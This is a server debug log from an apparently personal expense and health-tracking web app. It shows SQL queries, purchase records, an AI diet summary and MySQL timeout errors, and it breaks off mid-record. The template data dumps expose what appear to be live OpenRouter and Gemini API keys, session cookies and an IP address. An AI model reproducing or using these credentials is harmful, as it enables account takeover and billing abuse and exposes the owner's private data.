2025-12-24T08:51:34.932Z server-connect:output insert: { affected: 1, identity: 63 }
2025-12-24T08:51:34.932Z server-connect:output condition: undefined
2025-12-24T08:51:35.146Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T08:51:35.146Z server-connect:app Executing action step identify
2025-12-24T08:51:35.146Z server-connect:app options: { provider: 'security' }
2025-12-24T08:51:35.147Z server-connect:output identity: 1
2025-12-24T08:51:35.147Z server-connect:app Executing action step restrict
2025-12-24T08:51:35.147Z server-connect:app options: { provider: 'security' }
2025-12-24T08:51:35.147Z server-connect:output restrict: undefined
2025-12-24T08:51:35.147Z server-connect:app Executing action step single
2025-12-24T08:51:35.147Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T08:51:35.148Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's food intake appears to be primarily carbohydrate-focused with a moderate amount of protein from the whey supplement and some vegetables. The meal timing seems spread out, which is generally good for sustained energy. However, the overall protein content could be higher to better support muscle development goals, and there's a lack of diverse protein sources.",
    bad_points: [
      'Limited variety in protein sources.',
      'High reliance on carbohydrates, especially from roti.',
      'Potential for lower protein intake to support muscle development.'
    ],
    good_points: [
      'Consistent gym attendance.',
      'Inclusion of fruits and vegetables.',
      'Whey protein supplement for post-workout recovery.',
      'Meals are somewhat spread throughout the day.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources like lean meats, fish, lentils, or paneer into meals.',
      'Consider reducing the quantity of roti and increasing the portion of vegetables or adding a protein-rich side.',
      'Ensure adequate hydration throughout the day.',
      'Aim for protein intake spread more evenly across meals, not just post-workout.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Needs improvement',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 09:05:00' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 09:05:00' as DATETIME)"
}
2025-12-24T09:05:53.372Z server-connect:app Executing action step identify
2025-12-24T09:05:53.372Z server-connect:app options: { provider: 'security' }
2025-12-24T09:05:53.372Z server-connect:output identity: 1
2025-12-24T09:05:55.934Z server-connect:app Executing action step identify
2025-12-24T09:05:55.934Z server-connect:app options: { provider: 'security' }
2025-12-24T09:05:55.934Z server-connect:output identity: 1
2025-12-24T09:11:24.235Z server-connect:app Executing action step identify
2025-12-24T09:11:24.236Z server-connect:app options: { provider: 'security' }
2025-12-24T09:11:24.236Z server-connect:output identity: 1
2025-12-24T09:11:25.979Z server-connect:app Executing action step identify
2025-12-24T09:11:25.979Z server-connect:app options: { provider: 'security' }
2025-12-24T09:11:25.980Z server-connect:output identity: 1
2025-12-24T09:20:15.323Z server-connect:app Executing action step identify
2025-12-24T09:20:15.323Z server-connect:app options: { provider: 'security' }
2025-12-24T09:20:15.323Z server-connect:output identity: 1
2025-12-24T09:20:17.986Z server-connect:app Executing action step identify
2025-12-24T09:20:17.987Z server-connect:app options: { provider: 'security' }
2025-12-24T09:20:17.987Z server-connect:output identity: 1
2025-12-24T09:43:45.622Z server-connect:router Serving templateView /expense/list
2025-12-24T09:43:45.622Z server-connect:app Executing action step identify
2025-12-24T09:43:45.622Z server-connect:app options: { provider: 'security' }
2025-12-24T09:43:45.622Z server-connect:output identity: 1
2025-12-24T09:43:45.622Z server-connect:app Executing action step restrict
2025-12-24T09:43:45.622Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T09:43:45.624Z server-connect:output restrict: undefined
2025-12-24T09:43:45.624Z server-connect:router Render template expense/list
2025-12-24T09:43:45.624Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T09:43:45.847Z server-connect:router Serving serverConnect /api/expense/list
2025-12-24T09:43:45.848Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-24T09:43:45.848Z server-connect:app Executing action step identify
2025-12-24T09:43:45.848Z server-connect:app options: { provider: 'security' }
2025-12-24T09:43:45.848Z server-connect:output identity: 1
2025-12-24T09:43:45.849Z server-connect:app Executing action step restrict
2025-12-24T09:43:45.849Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T09:43:45.849Z server-connect:app Executing action step identify
2025-12-24T09:43:45.849Z server-connect:app options: { provider: 'security' }
2025-12-24T09:43:45.849Z server-connect:output identity: 1
2025-12-24T09:43:45.849Z server-connect:app Executing action step restrict
2025-12-24T09:43:45.849Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T09:43:45.850Z server-connect:output restrict: undefined
2025-12-24T09:43:45.850Z server-connect:app Executing action step paged
2025-12-24T09:43:45.850Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-24T09:43:45.851Z server-connect:output restrict: undefined
2025-12-24T09:43:45.851Z server-connect:app Executing action step select
2025-12-24T09:43:45.851Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-24T09:43:45.865Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-24T09:43:45.868Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-24T10:05:40.232Z server-connect:app Executing action step identify
2025-12-24T10:05:40.232Z server-connect:app options: { provider: 'security' }
2025-12-24T10:05:40.232Z server-connect:output identity: 1
2025-12-24T10:05:43.291Z server-connect:app Executing action step identify
2025-12-24T10:05:43.291Z server-connect:app options: { provider: 'security' }
2025-12-24T10:05:43.291Z server-connect:output identity: 1
2025-12-24T10:21:22.239Z server-connect:app Executing action step identify
2025-12-24T10:21:22.239Z server-connect:app options: { provider: 'security' }
2025-12-24T10:21:22.239Z server-connect:output identity: 1
2025-12-24T10:21:24.069Z server-connect:app Executing action step identify
2025-12-24T10:21:24.069Z server-connect:app options: { provider: 'security' }
2025-12-24T10:21:24.069Z server-connect:output identity: 1
2025-12-24T10:28:03.230Z server-connect:app Executing action step identify
2025-12-24T10:28:03.230Z server-connect:app options: { provider: 'security' }
2025-12-24T10:28:03.230Z server-connect:output identity: 1
2025-12-24T10:28:05.046Z server-connect:app Executing action step identify
2025-12-24T10:28:05.047Z server-connect:app options: { provider: 'security' }
2025-12-24T10:28:05.047Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 10:41:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 10:41:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 11:02:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 11:02:01' as DATETIME)"
}
2025-12-24T11:02:38.803Z server-connect:app Executing action step identify
2025-12-24T11:02:38.803Z server-connect:app options: { provider: 'security' }
2025-12-24T11:02:38.803Z server-connect:output identity: 1
2025-12-24T11:02:41.133Z server-connect:app Executing action step identify
2025-12-24T11:02:41.133Z server-connect:app options: { provider: 'security' }
2025-12-24T11:02:41.133Z server-connect:output identity: 1
2025-12-24T11:09:55.878Z server-connect:router Serving templateView /
2025-12-24T11:09:55.878Z server-connect:app Executing action step identify
2025-12-24T11:09:55.879Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:55.879Z server-connect:output identity: 1
2025-12-24T11:09:55.879Z server-connect:app Executing action step restrict
2025-12-24T11:09:55.879Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:09:55.881Z server-connect:output restrict: undefined
2025-12-24T11:09:55.881Z server-connect:app Executing action step restrict
2025-12-24T11:09:55.881Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:09:55.881Z server-connect:output restrict: undefined
2025-12-24T11:09:55.881Z server-connect:router Render template layouts/main
2025-12-24T11:09:55.882Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
